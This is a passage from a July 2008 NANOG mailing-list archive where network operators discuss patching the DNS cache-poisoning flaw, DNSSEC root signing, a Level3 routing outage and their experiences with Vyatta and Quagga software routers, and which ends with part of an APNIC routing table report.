"Bubba's Bait, Tackle, and Internet Emporium ISP", and it's > Bubba that has to fix stuff. > > And Bubba doesn't have a clear way to make money off the fixing - there's no > way Bubba can explain to Joe that Bubba is more secure than the *other* bait, > tackle, and DSL reseller in town, because Joe can't understand the problem.... > > It doesn't help that apparently there's some multi-billion-dollar Bubbas out there. I would argue most of the responsible providers took actions to prepare for such a leak two weeks ago. Some places have longer test cycles, so those fixes may be somewhere in the deployment queue. Change managment policies can be a problem if you're a large telco, and I'm sympathetic. Regarding Bubba, he won't likely move until there is a real problem, this makes it on CNN, and even then, he may not understand what is going on. That win2k server in the corner never got updated. But when he realizes his business is at risk due to the buggy software, our pal Bubba will eventually upgrade. - Jared -- Jared Mauch | pgp key available via finger from jared at puck.nether.net clue++; | http://puck.nether.net/~jared/ My statements are only mine. From drew.weaver at thenap.com Fri Jul 25 08:13:43 2008 From: drew.weaver at thenap.com (Drew Weaver) Date: Fri, 25 Jul 2008 09:13:43 -0400 Subject: Level3 newyork - london, anyone else seeing issues? Message-ID: C:\Users\aweaver>tracert 123.237.32.1 Tracing route to 123.237.32.1 over a maximum of 30 hops 5 5 ms 5 ms 5 ms ae-2-6.bar2.Cleveland1.Level3.net [4.69.132.202] 6 5 ms 4 ms 4 ms ae-0-11.bar1.Cleveland1.Level3.net [4.69.136.185] 7 13 ms 17 ms 17 ms ae-6-6.ebr1.Washington1.Level3.net [4.69.136.190] 8 16 ms 16 ms 17 ms ae-91-91.csw4.Washington1.Level3.net [4.69.134.142] 9 15 ms 17 ms 17 ms ae-93-93.ebr3.Washington1.Level3.net [4.69.134.173] 10 22 ms 18 ms 18 ms ae-3.ebr3.NewYork1.Level3.net [4.69.132.90] 11 30 ms 18 ms 18 ms ae-63-63.csw1.NewYork1.Level3.net [4.69.134.98] 12 18 ms 19 ms 19 ms ae-13-69.car3.NewYork1.Level3.net [4.68.16.5] 13 * * * Request timed out. 14 * * * Request timed out. 15 * * * Request timed out. 16 * * * Request timed out. 17 * * * Request timed out. 18 * * * Request timed out. 19 * * * Request timed out. 20 * * * Request timed out. 21 * * * Request timed out. 22 * * * Request timed out. 23 * * * Request timed out. 24 * * * Request timed out. 25 * * * Request timed out. 26 * * * Request timed out. 27 * * * Request timed out. 28 * * * Request timed out. 29 * * * Request timed out. 30 * * * Request timed out. Looks like it began occurring around 4am. We're getting reports from some international users that they are unable to reach destinations within our network. -Drew From jra at baylink.com Fri Jul 25 08:44:31 2008 From: jra at baylink.com (Jay R. Ashworth) Date: Fri, 25 Jul 2008 09:44:31 -0400 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: References: <200807241335.m6ODZpfo097197@aurora.sol.net> <27023.1216909329@nsa.vix.com> <16A4E1CC-1B18-427E-B8A7-51C546349A72@gmail.com> <20080724101550.W86804@life-gone-hazy.com> <963814DA-DDE3-4970-9C4B-7AB8E5CD1CBC@gmail.com> <4888CC6C.4020403@pacific.net> Message-ID: <20080725134431.GB4347@cgi.jachomes.com> On Fri, Jul 25, 2008 at 07:31:30PM +1200, Nathan Ward wrote: > So uh, is this patch available for download over HTTPS with a key that > was generated by the vendor and signed by well trusted root CAs on a > boxes with OpenSSL versions not released by Debian? > > PATCH NOW PATCH NOW seems like a fantastic way to get nefarious code > deployed in really, really interesting places. > > :-) I'm not smiling. I'm wondering if we're insufficiently paranoid. Course that could be because I'm reading the Mitnick book this week. But I don't think so. Cheers, -- jra -- Jay R. Ashworth Baylink jra at baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com '87 e24 St Petersburg FL USA http://photo.imageinc.us +1 727 647 1274 Those who cast the vote decide nothing. Those who count the vote decide everything. -- (Josef Stalin) From craigp at tozz.net Fri Jul 25 09:23:57 2008 From: craigp at tozz.net (Craig Pierantozzi) Date: Fri, 25 Jul 2008 10:23:57 -0400 Subject: Level3 newyork - london, anyone else seeing issues? In-Reply-To: References: Message-ID: <20080725142357.GA20658@eagle.deardorff.com> Drew- Contact me offlist, that CAR router is our border. We pass to another entity after that. regards -Craig * Drew Weaver was thought to have said: > 9 15 ms 17 ms 17 ms ae-93-93.ebr3.Washington1.Level3.net [4.69.134.173] > 10 22 ms 18 ms 18 ms ae-3.ebr3.NewYork1.Level3.net [4.69.132.90] > 11 30 ms 18 ms 18 ms ae-63-63.csw1.NewYork1.Level3.net [4.69.134.98] > 12 18 ms 19 ms 19 ms ae-13-69.car3.NewYork1.Level3.net [4.68.16.5] > 13 * * * Request timed out. From jmamodio at gmail.com Fri Jul 25 09:59:35 2008 From: jmamodio at gmail.com (Jorge Amodio) Date: Fri, 25 Jul 2008 09:59:35 -0500 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <20080725130310.GB88532@puck.nether.net> References: <200807241335.m6ODZpfo097197@aurora.sol.net> <0807241121020.260511804928587@clifden.donelan.com> <1216914003.25093.432.camel@petrie.sacredspiral.co.uk> <38042.1216914884@nsa.vix.com> <0807241305300.267001804928587@clifden.donelan.com> <46280.1216919645@nsa.vix.com> <924f29280807241358h62150dc4o17b605d8049b475c@mail.gmail.com> <20080724213101.GG359@cgi.jachomes.com> <50561.1216946275@turing-police.cc.vt.edu> <20080725130310.GB88532@puck.nether.net> Message-ID: <202705b0807250759i2397fb3etb8fede86e396a3f9@mail.gmail.com> > > Regarding Bubba, he won't likely move until there is a real problem, > this makes it on CNN, and even then, he may not understand what is going > on. That win2k server in the corner never got updated. But when he > realizes > his business is at risk due to the buggy software, our pal Bubba will > eventually upgrade. [sarcasm] It won't take too long until the three lettered news outfits declare the demise of the internet, Angelina already had the twins, Obama convinced the Germans to vote for him, McCain didn't win bingo night, and Dolly didn't sunk the state of Texas under water, so there are no really exciting news to report, sooner or later they will fish what is being discussed and make up something to fill the void. I'd leave the "Bubba in chief" and his associates out of the loop, if they see the word "poisoned" they will decimate the entire DNS infrastructure and later send Paul Vixie to explain to Congress why is a good idea to go back to the HOSTS.TXT, charge 5 bucks for each download (price dependant on the actual barrel of oil) and return to punch cards (made by Halliburton) ... [/sarcasm] Cheers Jorge From drc at virtualized.org Fri Jul 25 10:06:22 2008 From: drc at virtualized.org (David Conrad) Date: Fri, 25 Jul 2008 08:06:22 -0700 Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <51264.1216947900@turing-police.cc.vt.edu> References: <202705b0807240710u111677dex481c51eb675fe7fb@mail.gmail.com> <70D072392E56884193E3D2DE09C097A9F3B6@pascal.zaphodb.org> <94C2CA9D-99BC-4ABA-8DA3-F8A348F073F2@virtualized.org> <51264.1216947900@turing-police.cc.vt.edu> Message-ID: <9F3E352F-1E24-418F-A54B-91264B3E3484@virtualized.org> Valdis, On Jul 24, 2008, at 6:05 PM, Valdis.Kletnieks at vt.edu wrote: > On Thu, 24 Jul 2008 17:43:10 PDT, David Conrad said: >> On Jul 24, 2008, at 4:24 PM, Tomas L. Byrnes wrote: >>> The problem is, once the ICANNt root is self-signed, the hope of >>> ever >>> revoking that dysfunctional mess as authority is gone. > >> As far as I'm aware, as long as the KSK isn't compromised, changing >> the organization who holds the KSK simply means waiting until the >> next >> KSK rollover and have somebody else do the signing. > > That's true if the ICANN KSK is signed *by some other entity* - that > entity > can then force a change by signing some *other* KSK for the next > rollover. > > If the ICANN key is self-signed as Tomas hypothesizes, then that > leverage > evaporates. Except it doesn't work like that. As has been presented in numerous places (RIPE, ICANN, etc.), Richard Lamb has been working with the usual suspects (the Swedish DNSSEC mafia, NLNetLabs folks, Nominet folks, etc.) to come up with a secure, trustable, and accountable architecture for doing the signing. If a miracle happens and IANA were to be allowed to sign the root and then was told to give it to someone else, all that would need to be done would be for IANA staff to hand over the HSM, PIN codes and cards to someone else. Of course, part of the architecture is that there is more than one card and that someone other than IANA would hold the second card (i.e., the same sort of thing you see in US missle silos), but that's somewhat irrelevant to a discussion about how the "dysfunctional mess" would have its "authority" revoked. I suppose one could argue that ICANN could refuse to hand over the HSM, the PIN codes and cards, but given ICANN is a California- incorporated company providing the IANA functions under a contract with the US government, I somehow doubt ICANN would be in any position to refuse. Federal Marshals can be quite persuasive I'm told. Of course, all of this is academic since since I figure it is highly unlikely IANA will be permitted to sign the root. If anyone, my money is on VeriSign (you remember them...) but it may be some other Beltway Bandit as Paul suggests. Regards, -drc From jared at puck.nether.net Fri Jul 25 10:27:09 2008 From: jared at puck.nether.net (Jared Mauch) Date: Fri, 25 Jul 2008 11:27:09 -0400 Subject: Federal Government Interest in your patch progress In-Reply-To: <202705b0807250759i2397fb3etb8fede86e396a3f9@mail.gmail.com> References: <0807241121020.260511804928587@clifden.donelan.com> <1216914003.25093.432.camel@petrie.sacredspiral.co.uk> <38042.1216914884@nsa.vix.com> <0807241305300.267001804928587@clifden.donelan.com> <46280.1216919645@nsa.vix.com> <924f29280807241358h62150dc4o17b605d8049b475c@mail.gmail.com> <20080724213101.GG359@cgi.jachomes.com> <50561.1216946275@turing-police.cc.vt.edu> <20080725130310.GB88532@puck.nether.net> <202705b0807250759i2397fb3etb8fede86e396a3f9@mail.gmail.com> Message-ID: <20080725152709.GD45292@puck.nether.net> On Fri, Jul 25, 2008 at 09:59:35AM -0500, Jorge Amodio wrote: > > > > Regarding Bubba, he won't likely move until there is a real problem, > > this makes it on CNN, and even then, he may not understand what is going > > on. That win2k server in the corner never got updated. But when he > > realizes > > his business is at risk due to the buggy software, our pal Bubba will > > eventually upgrade. > > > [sarcasm] > It won't take too long until the three lettered news outfits declare the > demise of the internet, Angelina already had the twins, Obama convinced the > Germans to vote for him, McCain didn't win bingo night, and Dolly didn't > sunk the state of Texas under water, so there are no really exciting news to > report, sooner or later they will fish what is being discussed and make up > something to fill the void. > > I'd leave the "Bubba in chief" and his associates out of the loop, if they > see the word "poisoned" they will decimate the entire DNS infrastructure and > later send Paul Vixie to explain to Congress why is a good idea to go back > to the HOSTS.TXT, charge 5 bucks for each download (price dependant on the > actual barrel of oil) and return to punch cards (made by Halliburton) ... > [/sarcasm] So, you say that(sarcasm). I just got off a 45 minute call where the US Federal government is interested in how to effectively communicate to the infrastructure operators the importance and risks of not upgrading the resolvers. They wanted someone to apporach those NANOG guys to see if they'll get off their butts and upgrade. Personally, I share some of their frustration in getting the reasonable people to upgrade their software, knowing that the unreasonable folks won't. The question is how can we as an interdependent industry close the gaps of the "Bubba" SPs and their software upgrade policies? That being said, is there anyone keeping metrics of what upgrades have been done so far? - Jared -- Jared Mauch | pgp key available via finger from jared at puck.nether.net clue++; | http://puck.nether.net/~jared/ My statements are only mine. From sharp at sharpone.net Fri Jul 25 10:44:15 2008 From: sharp at sharpone.net (Justin Sharp) Date: Fri, 25 Jul 2008 09:44:15 -0600 Subject: Software router state of the art In-Reply-To: References: <521991.67953.qm@web65512.mail.ac4.yahoo.com> <13218.1216826659@turing-police.cc.vt.edu> <48874FFF.4020205@thewybles.com> <20080723161740.GK11922@skywalker.creative.net.au> Message-ID: <4889F4CF.8080602@sharpone.net> Yes. We put in some Vyatta routers to extend our corporate network into another building as a temporary solution (the building had a very short lease, so our boss didn't want to spend any money on Juniper which is our usual net gear vendor). Consequently, we are still there.. go figure. When we started w/ them, they were still using the XORP routing engine (and we haven't upgraded to the new platform yet). My experience wasn't terribly good. The first issue was a bad memory leak in the router manager process when VRRP hello times were set to 1 second. The first indication of something wrong is that our master router crashed, followed by his backup. Had to physically reboot the boxes to get them back online, which involved driving there as no one onsite had access to the cage at the office. All voice and data ran through these routers, basically rendering every employee useless until we got it back online. It wasn't a happy day. After that we had to monitor memory and do controlled reboots every month or so. We eventually convinced Vyatta of this memory leak and they were able to fix it, but that was a very frustrating process, and time consuming for us, which is why the next problems I describe, we have just found our own workarounds. The next problem was a combination of a problem with the Vyatta and a problem w/ our IP phones. The Vyatta was sending garp's for the data vrrp address out the voice vlan (same 2 routers are default gate on both data and voice vlans). All of the workstations run through the phones (which sit tagged on voice vlan, and pass traffic from workstation untagged to data vlan). The phone, seeing the arp for the data vrrp address on its voice vlan, would send traffic to that address out the voice vlan, effectively taking that workstation off the net for anything other than local traffic. That was a bugger to figure out, and basically we solved it with an arptables rule on the vyatta's. That was the one advantage of using a Linux (debian) based router platform, was that we could load other 'unsupported' packages to solve problems like this. The last thing is that OSPF never really converges correctly. You can view the OSPF database, and see which default the routers should converge to, but they do not. They will sit converged to one path for a while, and if you reboot the other router that generates default, they will reconverge to it for a while. This hasn't been a big enough problem for me to worry about it. Last thing to say is, I haven't tried upgrading since Vyatta abandoned the XORP platform and moved to the Quagga platform, but I'm guessing (based on experience w/ Quagga) that they have a lot fewer of these quirks that I've described. IMHO, YMMV, etc --Justin Tim Sanderson wrote: > Is anyone using Vyatta for routing? I sure would like to know about any experience with it in production. > > http://www.vyatta.com/ > > -- > Tim Sanderson, network administrator > tims at donet.com > > > -----Original Message----- > From: randal k [mailto:nanog at data102.com] > Sent: Wednesday, July 23, 2008 1:46 PM > To: Adrian Chadd > Cc: nanog at merit.edu > Subject: Re: Software router state of the art > > That is a very interesting paper. Seriously, 7mpps with an > off-the-shelf Dell 2950? Even if it were -half- that throughput, for a > pure ethernet forwarding solution that is incredible. Shoot, buy a > handful of them as hot spares and still save a bundle. > > Highly recommended reading, even if (like me) you're anti-commodity routing. > > Cheers, > Randal > > On Wed, Jul 23, 2008 at 10:17 AM, Adrian Chadd wrote: > >> On Wed, Jul 23, 2008, Charles Wyble wrote: >> >> >>> This might be of interest: >>> >>> http://nrg.cs.ucl.ac.uk/mjh/tmp/vrouter-perf.pdf >>> >> Various FreeBSD related guys are working on parallelising the forwarding >> layer enough to use the multiple tx/rx queues in some chipsets such as the >> Intel gig/10ge stuff. >> >> 1 mil pps has been broken that way, but it uses lots of cores to get there. >> (8, I think?) >> >> Linux apparently is/has headed down this path. >> > > > From jmamodio at gmail.com Fri Jul 25 11:04:59 2008 From: jmamodio at gmail.com (Jorge Amodio) Date: Fri, 25 Jul 2008 11:04:59 -0500 Subject: Federal Government Interest in your patch progress In-Reply-To: <20080725152709.GD45292@puck.nether.net> References: <0807241121020.260511804928587@clifden.donelan.com> <38042.1216914884@nsa.vix.com> <0807241305300.267001804928587@clifden.donelan.com> <46280.1216919645@nsa.vix.com> <924f29280807241358h62150dc4o17b605d8049b475c@mail.gmail.com> <20080724213101.GG359@cgi.jachomes.com> <50561.1216946275@turing-police.cc.vt.edu> <20080725130310.GB88532@puck.nether.net> <202705b0807250759i2397fb3etb8fede86e396a3f9@mail.gmail.com> <20080725152709.GD45292@puck.nether.net> Message-ID: <202705b0807250904g5ab31e47ncac228c386bb66e0@mail.gmail.com> > > So, you say that(sarcasm). I just got off a 45 minute call where > the US > Federal government is interested in how to effectively communicate to the > infrastructure operators the importance and risks of not upgrading the > resolvers. Just tell them to call the head of DoC and explain why is so important and imperative to come up with an acceptable/reasonable signing authority and enable the deployment of DNSSEC. The patch is just a workaround, it does not fix the underlying problem that has been there for very long time. My .02 From jared at puck.nether.net Fri Jul 25 11:07:40 2008 From: jared at puck.nether.net (Jared Mauch) Date: Fri, 25 Jul 2008 12:07:40 -0400 Subject: Federal Government Interest in your patch progress In-Reply-To: <202705b0807250904g5ab31e47ncac228c386bb66e0@mail.gmail.com> References: <38042.1216914884@nsa.vix.com> <0807241305300.267001804928587@clifden.donelan.com> <46280.1216919645@nsa.vix.com> <924f29280807241358h62150dc4o17b605d8049b475c@mail.gmail.com> <20080724213101.GG359@cgi.jachomes.com> <50561.1216946275@turing-police.cc.vt.edu> <20080725130310.GB88532@puck.nether.net> <202705b0807250759i2397fb3etb8fede86e396a3f9@mail.gmail.com> <20080725152709.GD45292@puck.nether.net> <202705b0807250904g5ab31e47ncac228c386bb66e0@mail.gmail.com> Message-ID: <20080725160740.GE54381@puck.nether.net> On Fri, Jul 25, 2008 at 11:04:59AM -0500, Jorge Amodio wrote: > > > > So, you say that(sarcasm). I just got off a 45 minute call where > > the US > > Federal government is interested in how to effectively communicate to the > > infrastructure operators the importance and risks of not upgrading the > > resolvers. > > > Just tell them to call the head of DoC and explain why is so important and > imperative to come up with an acceptable/reasonable signing authority and > enable the deployment of DNSSEC. The patch is just a workaround, it does not > fix the underlying problem that has been there for very long time. I raised that issue earlier in the week with some parts of the US Feds already. Personally, I see this event as major driver for deploying dnssec. - Jared -- Jared Mauch | pgp key available via finger from jared at puck.nether.net clue++; | http://puck.nether.net/~jared/ My statements are only mine. From smb at cs.columbia.edu Fri Jul 25 11:36:57 2008 From: smb at cs.columbia.edu (Steven M. Bellovin) Date: Fri, 25 Jul 2008 12:36:57 -0400 Subject: Federal Government Interest in your patch progress In-Reply-To: <20080725160740.GE54381@puck.nether.net> References: <38042.1216914884@nsa.vix.com> <0807241305300.267001804928587@clifden.donelan.com> <46280.1216919645@nsa.vix.com> <924f29280807241358h62150dc4o17b605d8049b475c@mail.gmail.com> <20080724213101.GG359@cgi.jachomes.com> <50561.1216946275@turing-police.cc.vt.edu> <20080725130310.GB88532@puck.nether.net> <202705b0807250759i2397fb3etb8fede86e396a3f9@mail.gmail.com> <20080725152709.GD45292@puck.nether.net> <202705b0807250904g5ab31e47ncac228c386bb66e0@mail.gmail.com> <20080725160740.GE54381@puck.nether.net> Message-ID: <20080725123657.39405a00@cs.columbia.edu> On Fri, 25 Jul 2008 12:07:40 -0400 Jared Mauch wrote: > On Fri, Jul 25, 2008 at 11:04:59AM -0500, Jorge Amodio wrote: > > > > > > So, you say that(sarcasm). I just got off a 45 minute > > > call where the US > > > Federal government is interested in how to effectively > > > communicate to the infrastructure operators the importance and > > > risks of not upgrading the resolvers. > > > > > > Just tell them to call the head of DoC and explain why is so > > important and imperative to come up with an acceptable/reasonable > > signing authority and enable the deployment of DNSSEC. The patch is > > just a workaround, it does not fix the underlying problem that has > > been there for very long time. > > I raised that issue earlier in the week with some parts of > the US Feds already. > > Personally, I see this event as major driver for deploying > dnssec. > I've been talking to US Gov't folks, too. They really want DNSSEC (and secure BGP...) deployed. --Steve Bellovin, http://www.cs.columbia.edu/~smb From vixie at isc.org Fri Jul 25 11:38:31 2008 From: vixie at isc.org (Paul Vixie) Date: Fri, 25 Jul 2008 16:38:31 +0000 Subject: Federal Government Interest in your patch progress In-Reply-To: <20080725152709.GD45292@puck.nether.net> (Jared Mauch's message of "Fri\, 25 Jul 2008 11\:27\:09 -0400") References: <202705b0807250759i2397fb3etb8fede86e396a3f9@mail.gmail.com> <20080725152709.GD45292@puck.nether.net> Message-ID: jared at puck.nether.net (Jared Mauch) writes: > That being said, is there anyone keeping metrics of what upgrades > have been done so far? yes. OARC is coordinating that, with data from its own test tool, and from kaminsky's test tool, and from passive DNS traces seen at ISC SIE. OARC is also coordinating a notification effort in conjunction with lawrence baldwin of MyNetWatchman. we're also sharing data with US-CERT to gauge penetration and while i don't have a pretty graph to show yet, i can say "it's ugly." -- Paul Vixie -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. From jgreco at ns.sol.net Fri Jul 25 11:43:05 2008 From: jgreco at ns.sol.net (Joe Greco) Date: Fri, 25 Jul 2008 11:43:05 -0500 (CDT) Subject: Software router state of the art In-Reply-To: <4889F4CF.8080602@sharpone.net> from "Justin Sharp" at Jul 25, 2008 09:44:15 AM Message-ID: <200807251643.m6PGh5nH006433@aurora.sol.net> > Last thing to say is, I haven't tried upgrading since Vyatta abandoned > the XORP platform and moved to the Quagga platform, but I'm guessing > (based on experience w/ Quagga) that they have a lot fewer of these > quirks that I've described. Quagga is pretty decent, but it is not uncommon for serious bugs to go unaddressed for a long time. For example, this bug renders Quagga nearly unusable for OSPF on FreeBSD 7, http://bugzilla.quagga.net/show_bug.cgi?id=420 which resulted in some finger-pointing, but the last I heard, it was due to a kernel interface change where FreeBSD multicast code had been rewritten and was DTRT, while Linux was doing something else. This is probably still better than the XORP platform, but it is unfortunate. ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From sean at donelan.com Fri Jul 25 12:32:07 2008 From: sean at donelan.com (Sean Donelan) Date: Fri, 25 Jul 2008 13:32:07 -0400 (EDT) Subject: Federal Government Interest in your patch progress In-Reply-To: <20080725152709.GD45292@puck.nether.net> References: <0807241121020.260511804928587@clifden.donelan.com> <1216914003.25093.432.camel@petrie.sacredspiral.co.uk> <38042.1216914884@nsa.vix.com> <0807241305300.267001804928587@clifden.donelan.com> <46280.1216919645@nsa.vix.com> <924f29280807241358h62150dc4o17b605d8049b475c@mail.gmail.com> <20080724213101.GG359@cgi.jachomes.com> <50561.1216946275@turing-police.cc.vt.edu> <20080725130310.GB88532@puck.nether.net> <202705b0807250759i2397fb3etb8fede86e396a3f9@mail.gmail.com> <20080725152709.GD45292@puck.nether.net> Message-ID: <200807251324060.6B95064B.2415@clifden.donelan.com> On Fri, 25 Jul 2008, Jared Mauch wrote: > They wanted someone to apporach those NANOG guys to see if they'll get > off their butts and upgrade. Personally, I share some of their frustration > in getting the reasonable people to upgrade their software, knowing that > the unreasonable folks won't. The question is how can we as an interdependent > industry close the gaps of the "Bubba" SPs and their software upgrade > policies? > > That being said, is there anyone keeping metrics of what upgrades have been > done so far? Unfortunately, several of the public "testing" sites have been generating false-positives. The ISPs have updated their DNS servers, some several weeks ago, but the testing site gets confused. Several DNS "security experts" (i.e. anyone with a blog) have also been confused about which ISPs manage which DNS servers versus other DNS servers on a network. Lots of phone calls to the wrong service providers complaining about the wrong things. Some folks who handle lookups for lots of domains have some data, but without knowing which DNS servers are "official" ISP recursive servers and which DNS servers are just random recursive resolvers owned by end-users, breaking down the data by ISP is a bit of a challange. If you just want data about overall DNS upgrade activity, not broken down by "official" or "unofficial" servers, that could be easier to collect. From sdhillon at decarta.com Fri Jul 25 12:49:00 2008 From: sdhillon at decarta.com (Sargun Dhillon) Date: Fri, 25 Jul 2008 10:49:00 -0700 Subject: Software router state of the art In-Reply-To: <200807251643.m6PGh5nH006433@aurora.sol.net> References: <200807251643.m6PGh5nH006433@aurora.sol.net> Message-ID: <488A120C.8020406@decarta.com> It would be very useful if there was an effort from the telecom community to develop a dynamic routing frontend like Quagga. The amount of human work that it requires in order to build up a product is enormous. If only someone with millions of dollars could donate engineers. It would allow the deployment of small branch office systems at a much lower cost. Would you rather deploy a $3000 cisco edge box which is a unexpandable, 100 mbit piece of crap, or throw two $2000 Dell boxes and have a 1 GigE platform? Joe Greco wrote: >> Last thing to say is, I haven't tried upgrading since Vyatta abandoned >> the XORP platform and moved to the Quagga platform, but I'm guessing >> (based on experience w/ Quagga) that they have a lot fewer of these >> quirks that I've described. >> > > Quagga is pretty decent, but it is not uncommon for serious bugs to go > unaddressed for a long time. For example, this bug renders Quagga > nearly unusable for OSPF on FreeBSD 7, > > http://bugzilla.quagga.net/show_bug.cgi?id=420 > > which resulted in some finger-pointing, but the last I heard, it was > due to a kernel interface change where FreeBSD multicast code had been > rewritten and was DTRT, while Linux was doing something else. > > This is probably still better than the XORP platform, but it is > unfortunate. > > ... JG > -- +1.925.202.9485 Sargun Dhillon deCarta sdhillon at decarta.com www.decarta.com From a.harrowell at gmail.com Fri Jul 25 12:53:49 2008 From: a.harrowell at gmail.com (Alexander Harrowell) Date: Fri, 25 Jul 2008 18:53:49 +0100 Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <9F3E352F-1E24-418F-A54B-91264B3E3484@virtualized.org> References: <202705b0807240710u111677dex481c51eb675fe7fb@mail.gmail.com> <70D072392E56884193E3D2DE09C097A9F3B6@pascal.zaphodb.org> <94C2CA9D-99BC-4ABA-8DA3-F8A348F073F2@virtualized.org> <51264.1216947900@turing-police.cc.vt.edu> <9F3E352F-1E24-418F-A54B-91264B3E3484@virtualized.org> Message-ID: In what way is the EU's governance model the same as, or anything similar, to the UN's or ITU's? This argument gets increasingly silly. Hell, when did ITU last let someone randomly take over a chunk of the e164 name space? On Fri, Jul 25, 2008 at 4:06 PM, David Conrad wrote: > Valdis, > > > On Jul 24, 2008, at 6:05 PM, Valdis.Kletnieks at vt.edu wrote: > >> On Thu, 24 Jul 2008 17:43:10 PDT, David Conrad said: >> >>> On Jul 24, 2008, at 4:24 PM, Tomas L. Byrnes wrote: >>> >>>> The problem is, once the ICANNt root is self-signed, the hope of ever >>>> revoking that dysfunctional mess as authority is gone. >>>> >>> From jgreco at ns.sol.net Fri Jul 25 12:56:04 2008 From: jgreco at ns.sol.net (Joe Greco) Date: Fri, 25 Jul 2008 12:56:04 -0500 (CDT) Subject: Software router state of the art In-Reply-To: <488A120C.8020406@decarta.com> from "Sargun Dhillon" at Jul 25, 2008 10:49:00 AM Message-ID: <200807251756.m6PHu4UY009675@aurora.sol.net> > Would you rather deploy a $3000 cisco edge box which is a unexpandable, > 100 mbit piece of crap, or throw two $2000 Dell boxes and have a 1 GigE > platform? You don't need two $2000 Dell boxes to get a 1G platform, but this isn't the list for that. You also don't need a ton of money to do open source development (we do one major project here in-house, one that's responsible for generating a noticeable amount of traffic on most networks). But this also isn't the list for that discussion. I suspect software routing is going to continue to be a growing factor in the packet herding world, as more people want to do more interesting things, and the CPU's are able to deal with more, more, more. ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From brett at the-watsons.org Fri Jul 25 13:01:33 2008 From: brett at the-watsons.org (brett watson) Date: Fri, 25 Jul 2008 11:01:33 -0700 Subject: Federal Government Interest in your patch progress In-Reply-To: <200807251324060.6B95064B.2415@clifden.donelan.com> References: <0807241121020.260511804928587@clifden.donelan.com> <1216914003.25093.432.camel@petrie.sacredspiral.co.uk> <38042.1216914884@nsa.vix.com> <0807241305300.267001804928587@clifden.donelan.com> <46280.1216919645@nsa.vix.com> <924f29280807241358h62150dc4o17b605d8049b475c@mail.gmail.com> <20080724213101.GG359@cgi.jachomes.com> <50561.1216946275@turing-police.cc.vt.edu> <20080725130310.GB88532@puck.nether.net> <202705b0807250759i2397fb3etb8fede86e396a3f9@mail.gmail.com> <20080725152709.GD45292@puck.nether.net> <200807251324060.6B95064B.2415@clifden.donelan.com> Message-ID: On Jul 25, 2008, at 10:32 AM, Sean Donelan wrote: > Unfortunately, several of the public "testing" sites have been > generating > false-positives. It would be good of you to list those here if you know which ones are generating false positives, so folks can avoid using them. -b From cscora at apnic.net Fri Jul 25 13:08:08 2008 From: cscora at apnic.net (Routing Analysis Role Account) Date: Sat, 26 Jul 2008 04:08:08 +1000 (EST) Subject: Weekly Routing Table Report Message-ID: <200807251808.m6PI88oE003001@thyme.apnic.net> This is an automated weekly mailing describing the state of the Internet Routing Table as seen from APNIC's router in Japan. Daily listings are sent to bgp-stats at lists.apnic.net For historical data, please see http://thyme.apnic.net. If you have any comments please contact Philip Smith . Routing Table Report 04:00 +10GMT Sat 26 Jul, 2008 Report Website: http://thyme.apnic.net Detailed Analysis: http://thyme.apnic.net/current/ Analysis Summary ---------------- BGP routing table entries examined: 263817 Prefixes after maximum aggregation: 129203 Deaggregation factor: 2.04 Unique aggregates announced to Internet: 128902 Total ASes present in the Internet Routing Table: 28747 Prefixes per ASN: 9.18 Origin-only ASes present in the Internet Routing Table: 25067 Origin ASes announcing only one prefix: 12114 Transit ASes present in the Internet Routing Table: 3680 Transit-only ASes present in the Internet Routing Table: 80 Average AS path length visible in the Internet Routing Table: 3.6 Max AS path length visible: 18 Max AS path prepend of ASN ( 3816) 15 Prefixes from unregistered ASNs in the Routing Table: 585 Unregistered ASNs in the Routing Table: 213 Number of 32-bit ASNs allocated by the RIRs: 51 Prefixes from 32-bit ASNs in the Routing Table: 8 Special use prefixes present in the Routing Table: 0 Prefixes being announced from unallocated address space: 779 Number of addresses announced to Internet: 1879804352 Equivalent to 112 /8s, 11 /16s and 137 /24s Percentage of available address space announced: 50.7 Percentage of allocated address space announced: 61.6 Percentage of available address space allocated: 82.3 Percentage of address space in use by end-sites: 72.8 Total number of prefixes smaller than registry allocations: 128837 APNIC Region Analysis Summary ----------------------------- Prefixes being announced by APNIC Region ASes: 60552 Total APNIC prefixes after maximum aggregation: 22662 APNIC Deaggregation factor: 2.67 Prefixes being announced from the APNIC address blocks: 57525 Unique aggregates announced from the APNIC address blocks: 25903 APNIC Region origin ASes present in the Internet Routing Table: 3307 APNIC Prefixes per ASN: 17.39 APNIC Region origin ASes announcing only one prefix: 877 APNIC Region transit ASes present in the Internet Routing Table: 519 Average APNIC Region AS path length visible: 3.5 Max APNIC Region AS path length visible: 15 Number of APNIC addresses announced to Internet: 368888864 Equivalent to 21 /8s, 252 /16s and 204 /24s Percentage of available APNIC address space announced: 78.5 APNIC AS Blocks 4608-4864, 7467-7722, 9216-10239, 17408-18431 (pre-ERX allocations) 23552-24575, 37888-38911, 45056-46079 APNIC Address Blocks 58/8, 59/8, 60/8, 61/8, 112/8, 113/8, 114/8, 115/8, 116/8, 117/8, 118/8, 119/8, 120/8, 121/8, 122/8, 123/8, 124/8, 125/8, 126/8, 202/8, 203/8, 210/8, 211/8, 218/8, 219/8, 220/8, 221/8, 222/8, ARIN Region Analysis Summary ---------------------------- Prefixes being announced by ARIN Region ASes: 121160 Total ARIN prefixes after maximum aggregation: 65083 ARIN Deaggregation factor: 1.86 Prefixes being announced from the ARIN address blocks: 90677 Unique aggregates announced from the ARIN address blocks: 34897 ARIN Region origin ASes present in the Internet Routing Table: 12311 ARIN Prefixes per ASN: 7.37 ARIN Region origin ASes announcing only one prefix: 4750 ARIN Region transit ASes present in the Internet Routing Table: 1154 Average ARIN Region AS path length visible: 3.3 Max ARIN Region AS path length visible: 15 